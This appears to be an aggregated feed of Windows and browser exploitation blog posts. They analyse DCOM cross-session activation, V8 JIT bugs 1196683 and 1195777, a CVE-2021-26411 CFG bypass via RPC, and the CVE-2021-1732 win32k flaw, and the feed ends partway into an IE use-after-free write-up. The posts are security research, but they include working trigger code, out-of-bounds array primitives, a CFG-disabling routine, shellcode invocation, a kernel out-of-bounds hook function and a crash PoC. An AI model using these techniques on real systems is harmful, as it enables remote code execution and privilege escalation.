Normal view

There are new articles available, click to refresh the page.
Before yesterdayWindows Exploitation

Standard Activating Yourself to Greatness

By: tiraniddo
27 April 2021 at 23:45

This week @decoder_it and @splinter_code disclosed a new way of abusing DCOM/RPC NTLM relay attacks to access remote servers. This relied on the fact that if you're in logged in as a user on session 0 (such as through PowerShell remoting) and you call CoGetInstanceFromIStorage the DCOM activator would create the object on the lowest interactive session rather than the session 0. Once an object is created the initial unmarshal of the IStorage object would happen in the context of the user authenticated to that session. If that happens to be a privileged user such as a Domain Administrator then the NTLM authentication could be relayed to a remote server and fun ensues.

The obvious problem with this attack is the requirement of being in session 0. Certainly it's possible a non-admin user might be allowed to authenticate to a system via PowerShell remoting but it'd be rarer than just being authenticated on a Terminal Server with multiple other users you could attack. It'd be nice if somehow you could pick the session that the object was created on.

Of course this already exists, you can use the session moniker to activate an object cross-session (other than to session 0 which is special). I've abused this feature multiple times for cross-session attacks, such as this, this or this. I've repeated told Microsoft they need to fix this activation route as it makes no sense than a non-administrator can do it. But my warnings have not been heeded. 

If you read the description of the session moniker you might notice a problem for us, it can't be combined with IStorage activation. The COM APIs only give us one or the other. However, if you poke around at the DCOM protocol documentation you'll notice that they are technically independent. The session activation is specified by setting the dwSessionId field in the SpecialPropertiesData activation property. And the marshalled IStorage object can be passed in the ifdStg field of the InstanceInfoData activation property. You package those activation properties up and send them to the IRemoteSCMActivator RemoteGetClassObject or RemoteCreateInstance methods. Of course it's possible this won't really work, but at least they are independent properties and could be mixed.

The problem with testing this out is implementing DCOM activation is ugly. The activation properties first need to be NDR marshalled in a blob. They then need to be packaged up correctly before it can be sent to the activator. Also the documentation is only for remote activation which is not we want, and there are some weird quirks of local activation I'm not going to go into. Is there any documented way to access the activator without doing all this?

No, sorry. There is an undocumented way though if you're interested? Sure? Okay good, let's carry on. The key with these sorts of challenges is to just look at how the system already does it. Specifically we can look at how session moniker is activating the object and maybe from that we'll be lucky and we can reuse that for our own purposes.

Where to start? If you read this MSDN article you can see you need to call MkParseDisplayNameEx to create parse the string into a moniker. But that's really a wrapper over MkParseDisplayName to provide URL moniker functionality which we don't care about. We'll just start at the MkParseDisplayName which is in OLE32.

HRESULT MkParseDisplayName(LPBC pbc, LPCOLESTR szUserName, 
      ULONG *pchEaten, LPMONIKER *ppmk) {
  HRESULT hr = FindLUAMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  if (hr == MK_E_UNAVAILABLE) {
    hr = FindSessionMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  }
  // Parse rest of moniker.
}

Almost immediately we see a call to FindSessionMoniker, seems promising. Looking into that function we find what we need.

HRESULT FindSessionMoniker(LPBC pbc, LPCWSTR pszDisplayName, 
                           ULONG *pchEaten, LPMONIKER *ppmk) {
  DWORD dwSessionId = 0;
  BOOL bConsole = FALSE;
  
  if (wcsnicmp(pszDisplayName, L"Session:", 8))
    return MK_E_UNAVAILABLE;
  
  
if (!wcsnicmp(pszDisplayName + 8, L"Console", 7)) {
    dwConsole = TRUE;
    *pcbEaten = 15;
  } else {
    LPWSTR EndPtr;
    dwSessionId = wcstoul(pszDisplayName + 8, &End, 0);
    *pcbEaten = EndPtr - pszDisplayName;
  }

  *ppmk = new CSessionMoniker(dwSessionId, bConsole);
  return S_OK;
}

This code parses out the session moniker data and then creates a new instance of the CSessionMoniker class. Of course this is not doing any activation yet. You don't use the session moniker in isolation, instead you're supposed to build a composite moniker with a new or class moniker. The MkParseDisplayName API will keep parsing the string (which is why pchEaten is updated) and combine each moniker it finds. Therefore, if you have the moniker display name:

Session:3!clsid:0002DF02-0000-0000-C000-000000000046

The API will return a composite moniker consisting of the session moniker for session 3 and the class moniker for CLSID 0002DF02-0000-0000-C000-000000000046 which is the Browser Broker. The example code then calls BindToObject on the composite moniker, which first calls the right most moniker, which is the class moniker.

HRESULT CClassMoniker::BindToObject(LPBC pbc, 
  LPMONIKER pmkToLeft, REFIID riid, void **ppv) {
  if (pmkToLeft) {
      IClassActivator pClassActivator;
      pmkToLeft->BindToObject(pcb, nullptr, 
        IID_IClassActivator, &pClassActivator);
      return pClassActivator->GetClassObject(m_clsid, 
            CLSCTX_SERVER, 0, riid, ppv);

  }
  // ...
}

The pmkToLeft parameter is set by the composite moniker to the left moniker, which is the session moniker. We can see that the class moniker calls the session moniker's BindToObject method requesting an IClassActivator interface. It then calls the GetClassObject method, passing it the CLSID to activate. We're almost there.

HRESULT CSessionMoniker::GetClassObject(
   REFCLSID pClassID, CLSCTX dwClsContext, 
   LCID locale, REFIID riid, void **ppv) {
  IStandardActivator* pActivator;
  CoCreateInstance(&CLSID_ComActivator, NULL, CLSCTX_INPROC_SERVER, 
    IID_IStandardActivator, &pActivator);

 
  ISpecialSystemProperties pSpecialProperties;
  pActivator->QueryInterface(IID_ISpecialSystemProperties, 
      &pSpecialProperties);
  pSpecialProperties->SetSessionId(m_sessionid, m_console, TRUE);
  return pActivator->StandardGetClassObject(pClassId, dwClsContext, 
                                            NULL, riid, ppv);

}

Finally the session moniker creates a new COM activator object with the IStandardActivator interface. It then queries for the ISpecialSystemProperties interface and sets the moniker's session ID and console state. It then calls the StandardGetClassObject method on the IStandardActivator and you should now have a COM server cross-session. None of these interface or the class are officially documented of course (AFAIK).

The $1000 question is, can you also do IStorage activation through the IStandardActivator interface? Poking around in COMBASE for the implementation of the interface you find one of its functions is:

HRESULT StandardGetInstanceFromIStorage(COSERVERINFO* pServerInfo, 
  REFCLSID pclsidOverride, IUnknown* punkOuter, CLSCTX dwClsCtx, 
  IStorage* pstg, int dwCount, MULTI_QI pResults[]);

It seems that the answer is yes. Of course it's possible that you still can't mix the two things up. That's why I wrote a quick and dirty example in C#, which is available here. Seems to work fine. Of course I've not tested it out with the actual vulnerability to see it works in that scenario. That's something for others to do.

Analysis of Chromium issue 1196683, 1195777

20 April 2021 at 00:00

On April 12, a code commit[1] in Chromium get people’s attention. This is a bugfix for some vulnerability in Chromium Javascript engine v8. At the same time, the regression test case regress-1196683.js for this bugfix was also submitted. Based on this regression test case, some security researcher published an exploit sample[2]. Due to Chrome release pipeline, the vulnerability wasn’t been fixed in Chrome stable update until April 13[3].

Coincidentally, on April 15, another code commit[4] of some bugfix in v8 has also included one regression test case regress-1195777.js. Based on this test case, the exploit sample was exposed again[5]. Since the latest Chrome stable version does not pull this bugfix commit, the sample can still exploit in render process of latest Chrome. When the vulnerable Chormium browser accesses a malicious link without enabling the sandbox (–no-sandbox), the vulnerability will be triggered and caused remote code execution.

RCA of Issue 1196683

The bugfix for this issue is shown as follows:
avatar

This commit fixes the issue of incorrect instruction selection for the ChangeInt32ToInt64 node in the instruction selection phase of v8 TurboFan. Before the commit, instruction selection is according to the input node type of the ChangeInt32ToInt64 node. If the input node type is a signed integer, it selects the instruction X64Movsxlq for sign extension, otherwise it selects X64Movl for zero extension. After the bugfix, X64Movsxlq will be selected for sign extension regardless of the input node type.

First, let’s analyze the root cause of this vulnerability via regress-1196683.js:

(function() {
  const arr = new Uint32Array([2**31]);
  function foo() {
    return (arr[0] ^ 0) + 1;
  }
  %PrepareFunctionForOptimization(foo);
  assertEquals(-(2**31) + 1, foo());
  %OptimizeFunctionOnNextCall(foo);
  assertEquals(-(2**31) + 1, foo());
});

The foo function that triggers JIT has only one code line. Let’s focus on the optimization process of (arr[0] ^ 0) + 1 in the key phases of TurboFan:

1) TyperPhase
avatar

The XOR operator corresponds to node 32, and its two inputs are the constant 0 (node 24) and arr[0] (node 80).

2) SimplifiedLoweringPhase
avatar

The original node 32: SpeculativeNumberBitwiseXor is optimized to Word32Xor, and the successor node ChangeInt32ToInt64 is added after Word32Xor. At this time, the input node (Word32Xor) type of ChangeInt32ToInt64 is Signed32.

3) EarlyOptimizationPhase
avatar

We can see that the original node 32 (Word32Xor) has been deleted and replaced with node 80 as the input of the node 110 ChangeInt32ToInt64. Now the input node (LoadTypedElement) type of ChangeInt32ToInt64 is Unsigned32.

The v8 code corresponding to the logic is as follows:

template <typename WordNAdapter>
Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) {
  using A = WordNAdapter;
  A a(this);

  typename A::IntNBinopMatcher m(node);
  if (m.right().Is(0)) return Replace(m.left().node());  // x ^ 0 => x
  if (m.IsFoldable()) {  // K ^ K => K  (K stands for arbitrary constants)
    return a.ReplaceIntN(m.left().ResolvedValue() ^ m.right().ResolvedValue());
  }
  if (m.LeftEqualsRight()) return ReplaceInt32(0);  // x ^ x => 0
  if (A::IsWordNXor(m.left()) && m.right().Is(-1)) {
    typename A::IntNBinopMatcher mleft(m.left().node());
    if (mleft.right().Is(-1)) {  // (x ^ -1) ^ -1 => x
      return Replace(mleft.left().node());
    }
  }

  return a.TryMatchWordNRor(node);
}

As the code shown above, for the case of x ^ 0 => x, the left node is used to replace the current node, which introduces the wrong data type.

4) InstructionSelectionPhase
According to the previous analysis, in instruction selection phase, because the input node (LoadTypedElement) type of ChangeInt32ToInt64 is Unsigned32, the X64Movl instruction is selected to replace the ChangeInt32ToInt64 node finally:
avatar

Because the zero extended instruction X64Movl is selected incorrectly, (arr[0] ^ 0) returns the wrong value: 0x0000000080000000.

Finally, using this vulnerability, a variable x with an unexpected value 1 in JIT can be obtained via the following code (the expected value should be 0):

const _arr = new Uint32Array([0x80000000]);

function foo() {
	var x = (_arr[0] ^ 0) + 1;
	x = Math.abs(x);
	x -= 0x7fffffff;
	x = Math.max(x, 0);
	x -= 1;
	if(x==-1) x = 0;
	return x;
}

RCA of Issue 1195777

The bugfix for this issue is shown as follows:
avatar

This commit fixes a integer conversion node generation error which used to convert a 64-bit integer to a 32-bit integer (truncation) in SimplifiedLowering phase. Before the commit, if the output type of current node is Signed32 or Unsigned32, the TruncateInt64ToInt32 node is generated. After the commit, if the output type of current node is Unsigned32, the type of use_info is needed to be checked next. Only when use_info.type_check() == TypeCheckKind::kNone, the TruncateInt64ToInt32 node wiill be generated.

First, let’s analyze the root cause of this vulnerability via regress-1195777.js:

(function() {
  function foo(b) {
    let x = -1;
    if (b) x = 0xFFFFFFFF;
    return -1 < Math.max(0, x, -1);
  }
  assertTrue(foo(true));
  %PrepareFunctionForOptimization(foo);
  assertTrue(foo(false));
  %OptimizeFunctionOnNextCall(foo);
  assertTrue(foo(true));
})();

The key code in foo function which triggers JIT is ‘return -1 < Math.max(0, x, -1)’. Let’s focus on the optimization process of Math.max(0, x, -1) in the key phases of TurboFan:

1) TyperPhase
avatar
Math.max(0, x, -1) corresponds to node 56 and node 58. The output of node 58 is used as the input of node 41: SpeculativeNumberLessThan (<) .

2) TypedLoweringPhase
avatar

The two constant parameters 0, -1 (node 54 and node 55) in Math.max(0, x, -1) are replaced with constant node 32 and node 14.

3) SimplifiedLoweringPhase
avatar

The original NumberMax node 56 and node 58 are replaced by Int64LessThan + Select nodes. The original node 41: SpeculativeNumberLessThan is replaced with Int32LessThan. When processing the input node of SpeculativeNumberLessThan, because the output type of the input node (Select) is Unsigned32, the vulnerability is triggered and the node 76: TruncateInt64ToInt32 is generated incorrectly.

The result of Math.max(0, x, -1) is truncated to Signed32. Therefore, when the x in Math.max(0, x, -1) is Unsigned32, it will be truncated to Signed32 by TruncateInt64ToInt32.

Finally, using this vulnerability, a variable x with an unexpected value 1 in JIT can be obtained via the following code (the expected value should be 0):

function foo(flag){
	let x = -1;
	if (flag){ 
		x = 0xFFFFFFFF;
	}
	x = Math.sign(0 - Math.max(0, x, -1));
	return x;
}

Exploit analysis

According to the above root cause analysis, we can see that the two vulnerabilities are triggered when TurboFan performs integer data type conversion (expansion, truncation). Using the two vulnerabilities, a variable x with an unexpected value 1 in JIT can be obtained.
According to the samples exploited in the wild, the exploit is following the steps below:

1) Create an Array which length is 1 with the help of variable x which has the error value 1;
2) Obtain an out-of-bounds array with length 0xFFFFFFFF through Array.prototype.shift();

The key code is as shown follows:

var arr = new Array(x);	// wrong: x = 1
arr.shift();			// oob
var cor = [1.8010758439469018e-226, 4.6672617056762661e-62, 1.1945305861211498e+103];
return [arr, cor];

The JIT code of var arr = new Array(x) is:
avatar

Rdi is the length of arr, which value is 1. It shift left one bit (rdi+rdi) by pointer compression and stored in JSArray.length property (+0xC).

The JIT code of arr.shift() is:
avatar

After arr.shift(), the length of arr is assigned by constant 0xFFFFFFFE directly, the optimization process is shown as follows:

(1)TyperPhase
avatar

The array length assignment operation is mainly composed of node 152 and node 153. The node 152 caculates Array.length-1. The node 153 saves the calculation result in Array.length (+0xC).

(2)LoadEliminationPhase
avatar
Since the value of x which collected by Ignition is 0, constant folding (0-1=-1) happens here to get the constant 0xFFFFFFFF. After shift left one bit, it is 0xFFFFFFFE, which is stored in Array.length (+0xC). Thus, an out-of-bounds array with a length of 0xFFFFFFFF is obtained.

After the out-of-bounds array is obtained, the next steps are common:
3) Realize addrof/fakeobj with the help of this out-of-bounds array;
4) Fake a JSArray to achieve arbitrary memory read/write primitive wth the help of addrof/fakeobj;

The memory layout of arr and cor in exploit sample is:
avatar

(1) Use the vulnerability to obtain an arr with the length of 0xFFFFFFFF (red box)
(2) Use the out-of-bounds arr and cor to achieve addrof/fakeobj (green box)
(3) Use the out-of-bounds arr to modify the length of cor (yellow box)
(4) Use the out-of-bounds cor, leak the map and properties of the cor (blue box), fake a JSArray, and use this fake JSArray to achieve arbitrary memory read/write primitive

5) Execute shellcode with the help of WebAssembly;
Finally, a memory page with RWX attributes is created with the help of WebAssembly. The shellcode is copied to the memory page, and executed in the end.

The exploitation screenshot:
avatar

References

[1] https://chromium-review.googlesource.com/c/v8/v8/+/2820971
[2] https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js
[3] https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html
[4] https://chromium-review.googlesource.com/c/v8/v8/+/2826114
[5] https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js

Exploiting Windows RPC to bypass CFG mitigation: analysis of CVE-2021-26411 in-the-wild sample

10 April 2021 at 00:00

The general method of browser render process exploit is: after exploiting the vulnerability to obtain user mode arbitrary memory read/write primitive, the vtable of DOM/js object is tampered to hijack the code execution flow. Then VirtualProtect is called by ROP chain to modify the shellcode memory to PAGE_EXECUTE_READWRITE, and the code execution flow is jumped to shellcode by ROP chain finally. After Windows 8.1, Microsoft introduced CFG (Control Flow Guard)[1] mitigation to verify the indirect function call, which mitigates the exploitation of tampering with vtable to get code execution.

However, the confrontation is not end. Some new methods to bypass CFG mitigation have emerged. For example, in chakra/jscript9, the code execution flow is hijacked by tampering with the function return address on the stack; in v8, WebAssembly with executable memory property is used to execute shellcode. In December 2020, Microsoft introduced CET(Control-flow Enforcement Technology)[2] mitigation technology based on Intel Tiger Lake CPU in Windows 10 20H1, which protects the exploitation of tampering with the function return address on the stack. Therefore, how to bypass CFG in a CET mitigation environment has become a new problem for vulnerability exploitation.

When analyzing CVE-2021-26411 in-the-wild sample, we found a new method to bypass CFG mitigation using Windows RPC (Remote Procedure Call)[3]. This method does not rely on the ROP chain. By constructing RPC_MESSAGE, arbitrary code execution can be achieved by calling rpcrt4!NdrServerCall2 manually.

CVE-2021-26411 Retrospect

My blog of “CVE-2021-26411: Internet Explorer mshtml use-after-free” has illustrated the root cause: removeAttributeNode() triggers the attribute object nodeValue’s valueOf callback. During the callback, clearAttributes() is called manually, which causes the BSTR saved in nodeValue to be released in advance. After the valueOf callback returns, the nodeValue object is not checked if existed, which results in UAF.

The bug fix for this vulnerability in Windows March patch is to add an index check before deleting the object in CAttrArray::Destroy function:
avatar

For such a UAF vulnerability with a controllable memory size, the idea of exploitation is: use two different types of pointers (BSTR and Dictionary.items) to point to the reuse memory, then the pointer leak and pointer dereference ability is achieved via type confusion:
avatar

Windows RPC introduction and exploitation

Windows RPC is used to support the scenario of distributed client/server function calls. Based on Windows RPC, the client can invoke server functions the same as local function call. The basic architecture of Windows RPC is shown as follows:
avatar

The client/server program passes the calling parameters or return values to the lower-level Stub function. The Stub function is responsible for encapsulating the data into NDR (Network Data Representation) format. Communications through the runtime library is provided by rpcrt4.dll.

An idl example is given below:

[
	uuid("1BC6D261-B697-47C2-AF83-8AE25922C0FF"),
	version(1.0)
]

interface HelloRPC
{
	int add(int x, int y);
}

When the client calls the add function, the server receives the processing request from rpcrt4.dll and calls rpcrt4!NdrServerCall2:
avatar

rpcrt4!NdrServerCall2 has only one parameter PRPC_MESSAGE, which contains important data such as the function index and parameters. The server RPC_MESSAGE structure and main sub data structure are shown as follows (32 bits):
avatar

As shown in the aforementioned picture, in RPC_MESSAGE structure, the two important variables of function call are Buffer and RpcInterfaceInformation. The Buffer stores the parameters of the function, and RpcInterfaceInformation points to the RPC_SERVER_INTERFACE structure. The RPC_SERVER_INTERFACE structure saves the server program interface information, in which DispatchTable(+0x2c) saves the interface function pointers of the runtime library and the stub function, and InterpreterInfo(+0x3c) points to the MIDL_SERVER_INFO structure. The MIDL_SERVER_INFO structure saves the server IDL interface information, and the DispatchTable(+0x4) saves the pointer array of the server routine functions.

Here is an example to introduce the structure of RPC_MESSAGE:

According to the idl given above, when the client calls add(0x111, 0x222), the server program breaks at rpcrt4!NdrServerCall2: avatar

It can be seen that the dynamic debugging memory dump is consistent with the RPC_MESSAGE structure analysis, and the add function is stored in MIDL_SERVER_INFO.DispatchTable.

Next, we analyze how rpcrt4!NdrServerCall2 invokes the add function according to RPC_MESSAGE:

The rpcrt4!NdrServerCall2 calls rpcrt4!NdrStubCall2 internally. The rpcrt4!NdrStubCall2 calculates the function pointer address based on MIDL_SERVER_INFO.DispatchTable and RPC_MESSAGE.ProcNum, and passes the function pointer, function parameters and parameter length to rpcrt4!Invoke:
avatar

The rpcrt4!Invoke calls the server provided routine function finally:
avatar

Based on above analysis, after achieving the arbitrary memory read/write primitive, we can construct an fake RPC_MESSAGE, set the function pointer and function parameters want to invoke, and call rpcrt4!NdrServerCall2 manually to implement any function execution.

Two problems need to be solved next:
1)How to invoke rpcrt4!NdrServerCall2 in javascript
2)When observing the server routine function call in rpcrt4!Invoke:
avatar

We can see that this is an indirect function call, and there is a CFG check. Therefore, we need to consider how to bypass the CFG protection here after tampering with the MIDL_SERVER_INFO.DispatchTable function pointer.

Let’s solve the problem 1 firstly: How to invoke rpcrt4!NdrServerCall2 in javascript?
We can replace the DOM object vtable’s function pointer with rpcrt4!NdrServerCall2. Because rpcrt4!NdrServerCall2 is a legal pointer recorded in CFGBitmap, it can pass the CFG check. The sample replacs MSHTML!CAttribute::normalize with rpcrt4!NdrServerCall2, and calls “xyz.normalize()” in javascript to invoke rpcrt4!NdrServerCall2.

Then we solve the problem 2: How to bypass the CFG protection in rpcrt4!NdrServerCall2?
The method in the sample is:
1) Use fake RPC_MESSAGE and rpcrt4!NdrServerCall2 to invoke VirtualProtect, and modify the memory attribute of RPCRT4!__guard_check_icall_fptr to PAGE_EXECUTE_READWRITE
2) Replace the pointer ntdll!LdrpValidateUserCallTarget saved in rpcrt4!__guard_check_icall_fptr with ntdll!KiFastSystemCallRet to kill the CFG check in rpcrt4.dll
3) Restore RPCRT4!__guard_check_icall_fptr memory attribute

function killCfg(addr) {
  var cfgobj = new CFGObject(addr)
  if (!cfgobj.getCFGValue()) 
    return
  var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
  var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
  var tmpBuffer = createArrayBuffer(4)
  call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
  write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
  call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
  map.delete(tmpBuffer)
} 

After solving the two problems, the fake RPC_MESSAGE can be used to invoke any function pointer including the buffer stores the shellcode, because CFG check in rpcrt4.dll has been killed.
At last, the sample writes the shellcode to the location of msi.dll + 0x5000, and invokes the shellcode through rpcrt4!NdrServerCall2 finally:

var shellcode = new Uint8Array([0xcc])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode)
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
call2(msi, [])

The exploitation screenshot:
avatar

Some thoughts

A new method to bypass CFG mitigation by exploiting Windows RPC exposed in CVE-2021-26411 in the wild sample. This exploitation technology does not need to construct ROP chain, and achieve arbitrary code execution directly by fake RPC_MESSAGE. This exploitation technology is simple and stable. It is reasonable to believe that it will become a new and effective exploitation technology to bypass CFG mitigation.

References

[1] https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard
[2] https://windows-internals.com/cet-on-windows/
[3] https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page

CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds

25 March 2021 at 00:00

CVE-2021-1732 is a 0-Day vulnerability exploited by the BITTER APT organization in one operation which was disclosed in February this year[1][2][3]. This vulnerability exploits a user mode callback opportunity in win32kfull module to break the normal execution flow and set the error flag of window object (tagWND) extra data, which results in kernel-space out-of-bounds memory access violation.

Root cause analysis

The root cause of CVE-2021-1732 is:
In the process of creating window (CreateWindowEx), when the window object tagWND has extra data (tagWND.cbwndExtra != 0), the function pointer of user32!_xxxClientAllocWindowClassExtraBytes saved in ntdll!_PEB.kernelCallbackTable (offset+0x58) in user mode will be called via the nt!KeUserModeCallback callback mechanism, and the system heap allocator (ntdll!RtlAllocateHeap) is used to allocate the extra data memory in user-space.
By hooking user32!_xxxClientAllocWindowClassExtraBytes function in user mode, and modifying the properties of the window object extra data in the hook function manually, the kernel mode atomic operation of allocating memory for extra data can be broken, then the out-of-bounds read/write ability based on the extra data memory is achieved finally.

The normal flow of the window object creation (CreateWindowEx) process is shown as follows (partial):
avatar

From the above figure, we can see that: when the window extra data size (tagWND.cbWndExtra) is not 0, win32kfull!xxxCreateWindowEx calls the user mode function user32!_xxxClientAllocWindowClassExtraBytes via the kernel callback mechanism, requests for the memory of the window extra data in user-space. After allocation, the pointer of allocated memory in user-space will be returned to the tagWND.pExtraBytes property:
avatar

Here are two modes of saving tagWND extra data address (tagWND.pExtraBytes):
[Mode 1] In user-space system heap
As the normal process shown in the figure above, the pointer of extra data memory allocated in user-space system heap is saved in tagWND.pExtraBytes directly.
One tagWND memory layout of Mode 1 is shown in the following figure:
avatar

[Mode 2] In kernel-space desktop heap
The function ntdll!NtUserConsoleControl allocates extra data memory in kernel-space desktop heap by function DesktopAlloc, calculates the offset of allocated extra data memory address to the kernel desktop heap base address, saves the offset to tagWND.pExtraBytes, and modifies tagWND.extraFlag |= 0x800:
avatar

One tagWND memory layout of Mode 2 is shown in the following figure: avatar

So we can hook the function user32!_xxxClientAllocWindowClassExtraBytes in user-space, call NtUserConsoleControl manually in hook function to modify the tagWND extra data storage mode from Mode 1 to Mode 2, call ntdll!NtCallbackReturn before the callback returns:
avatar

Then return the user mode controllable offset value to tagWND.pExtraBytes through ntdll!NtCallbackReturn, and realize the controllable offset out-of-bounds read/write ability based on the kernel-space desktop heap base address finally.

The modified process which can trigger the vulnerability is shown as follows:
avatar

According to the modified flowchart above, the key steps of triggering this vulnerability are explained as follows:

  1. Modify the user32!_xxxClientAllocWindowClassExtraBytes function pointer in PEB.kernelCallbackTable to a custom hook function.
  2. Create some normal window objects, and leak the user-space memory addresses of these tagWND kernel objects through user32!HMValidateHandle.
  3. Destroy part of the normal window objects created in step 2, and create one new window object named ‘hwndMagic’ with the specified tagWND.cbwndExtra. The hwndMagic can probably reuse the previously released window object memory. Therefore, by searching the previously leaked window object user-space memory addresses with the specified tagWND.cbwndExtra in the custom hook function, the hwndMagic can be found before CreateWindowEx returns.
  4. Call NtUserConsoleControl in the custom hook function to modify the tagWNDMagic.extraFlag with flag 0x800.
  5. Call NtCallbackReturn in the custom hook function to assign a fake offset to tagWNDMagic.pExtraBytes.
  6. Call SetWindowLong to write data to the address of kernel-space desktop heap base address + specified offset, which can result in out-of-bounds memory access violation.

An implementation of the hook function is demonstrated as follows:

void* WINAPI MyxxxClientAllocWindowClassExtraBytes(ULONG* size) {

	do {
		if (MAGIC_CBWNDEXTRA  == *size) {
			HWND hwndMagic = NULL;
			//search from freed NormalClass window mapping desktop heap
			for (int i = 2; i < 50; ++i) {
				ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + _WND_CBWNDEXTRA_OFFSET);
				if (MAGIC_CBWNDEXTRA == cbWndExtra) {
					hwndMagic = (HWND)*(ULONG_PTR*)(g_pWnd[i]);
					printf("[+] bingo! find &hwndMagic = 0x%llx in callback :) \n", g_pWnd[i]);
					break;
				}
			}
			if (!hwndMagic) {
				printf("[-] Not found hwndMagic, memory layout unsuccessfully :( \n");
				break;
			}

			// 1. set hwndMagic extraFlag |= 0x800
			CONSOLEWINDOWOWNER consoleOwner = { 0 };
			consoleOwner.hwnd = hwndMagic;
			consoleOwner.ProcessId = 1;
			consoleOwner.ThreadId = 2;
			NtUserConsoleControl(6, &consoleOwner, sizeof(consoleOwner));

			// 2. set hwndMagic pExtraBytes fake offset
			struct {
				ULONG_PTR retvalue;
				ULONG_PTR unused1;
				ULONG_PTR unused2;
			} result = { 0 };		
			//offset = 0xffffff00, access memory = heap base + 0xffffff00, trigger BSOD	
			result.retvalue = 0xffffff00;			
			NtCallbackReturn(&result, sizeof(result), 0);
		}
	} while (false);

	return _xxxClientAllocWindowClassExtraBytes(size);
}

BSOD snapshot:
avatar

Exploit analysis

From Root cause anaysis, we can see that:
“An opportunity to read/write data in the address which calculated by the kernel-space desktop heap base address + specified offset” can be obtained via this vulnerability.


For the kernel mode exploitation, the attack target is to obtain system token generally. A common method is shown as follows:

  1. Exploit the vulnerability to obtain a arbitrary memory read/write primitive in kernel-space.
  2. Leak the address of some kernel object, find the system process through the EPROCESS chain.
  3. Copy the system process token to the attack process token to complete the privilege escalation job.

The obstacle is step 1: How to exploit “An opportunity to read/write data in the address which calculated by the kernel-space desktop heap base address + specified offset” to obtain the arbitrary memory read/write primitive in kernel-space.

One solution is shown in the following figure:
avatar

  1. The offset of tagWNDMagic extra data (wndMagic_extra_bytes) is controllable via the vulnerability, so we can use SetWindowLong to modify the data in specified address calculated by desktop heap base address + controllable offset.
  2. Use the vulnerability ability to modify tagWNDMagic.pExtraBytes to the offset of tagWND0 (the offset of tagWND0 is obtained by tagWND0+0x8), call SetWindowLong to modify tagWND0.cbWndExtra = 0x0fffffff to obtain a tampered tagWND0.pExtraBytes which can achieve read/write out-of-bounds.
  3. Calculate the offset from tagWND0.pExtraBytes to tagWND1, call SetWindowLongPtr to replace the spMenu of tagWND1 with a fake spMenu by the tampered tagWND0.pExtraBytes, realize the arbitrary memory read ability with the help of fake spMenu and function GetMenuBarInfo.
    The logic of GetMenuBarInfo to read the data in specified address is shown as follows, the 16 bytes data is stored into MENUBARINFO.rcBar structure: avatar

  4. Use the tampered tagWND0.pExtraBytes to modify tagWND1.pExtraBytes with specified address, and use the SetWindowLongPtr of tagWND1 to obtain the arbitrary memory write ability.
  5. After obtaining the arbitrary memory read/write primitive, we need to leak a kernel object address in desktop heap to find EPROCESS. Fortunately, when setting the fake spMenu for tagWND1 in step 3, the return value of SetWindowLongPtr is the kernel address of original spMenu, which can be used directly.
  6. Finally, find the system process by traversing the EPROCESS chain, and copy the system process token to the attack process to complete the privilege escalation job. This method is relatively common, so will not be described in detail.

The final privilege escalation demonstration:
avatar

Patch analysis

avatar

References

[1] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732
[2] https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack-cn/
[3] https://www.virustotal.com/gui/file/914b6125f6e39168805fdf57be61cf20dd11acd708d7db7fa37ff75bf1abfc29/detection
[4] https://en.wikipedia.org/wiki/Privilege_escalation

CVE-2021-26411: Internet Explorer mshtml use-after-free

12 March 2021 at 00:00

In January of this year, Google and Microsoft respectively published blogs revealing attacks on security researchers by an APT group from NK[1][2]. A vulnerability in Internet Explorer used in this attack was fixed as CVE-2021-26411 in Microsoft’s Patch Tuesday this month[3]. The vulnerability is triggered when users of the affected version of Internet Explorer access a malicious link constructed by attackers, causing remote code execution.

Root cause analysis

The POC which can trigger the vulnerability is shown below:

<script>
var elem = document.createElement('xxx'); 
var attr1 = document.createAttribute('yyy'); 
var attr2 = document.createAttribute('zzz'); 

var obj = {};
obj.valueOf = function() {
	elem.clearAttributes();
	return 0x1337;
};

attr1.nodeValue = obj;
attr2.nodeValue = 123;
elem.setAttributeNode(attr1);
elem.setAttributeNode(attr2);
elem.removeAttributeNode(attr1); 
</script>

Execution process of the PoC:

  1. Create 1 HTML Element object (elem) and 2 HTML Attribute objects (attr1 and attr2)
  2. Assign values to the two Attribute objects nodeValue, where attr1’s nodeValue points to an Object which valueOf function is overloaded
  3. Set the two Attribute objects attr1 and attr2 to Element object elem
  4. Call elem.removeAttributeNode(attr1) to remove the attr1 from elem
  5. The removeAttributeNode method triggers a callback to the valueOf function, during which clearAttributes() is called to clear all the attribute objects (attr1 and attr2) of the elem object
  6. When valueOf callback returns, IE Tab process crashes at null pointer dereference:

avatar

Based on the above PoC flow analysis, it can be inferred that the reason of the crash is the Double Free issue caused by the clearAttributes() function in valueOf callback. After clearing all the attribute objects of the element object, it returns to the interpreter (breaking the atomic deletion operation at the interpreter level) and frees the attribute object again which results in Double Free.
But there are still some details need to be worked out:

  1. Why does removeAttributeNode() trigger the valueOf callback in script level?
  2. Why does null pointer dereference exception still occur on DOM objects which are protected by isolated heap and delayed free mechanism?
  3. How to exploit this null pointer dereference exception?

Question 1 is discussed via static analysis firstly:

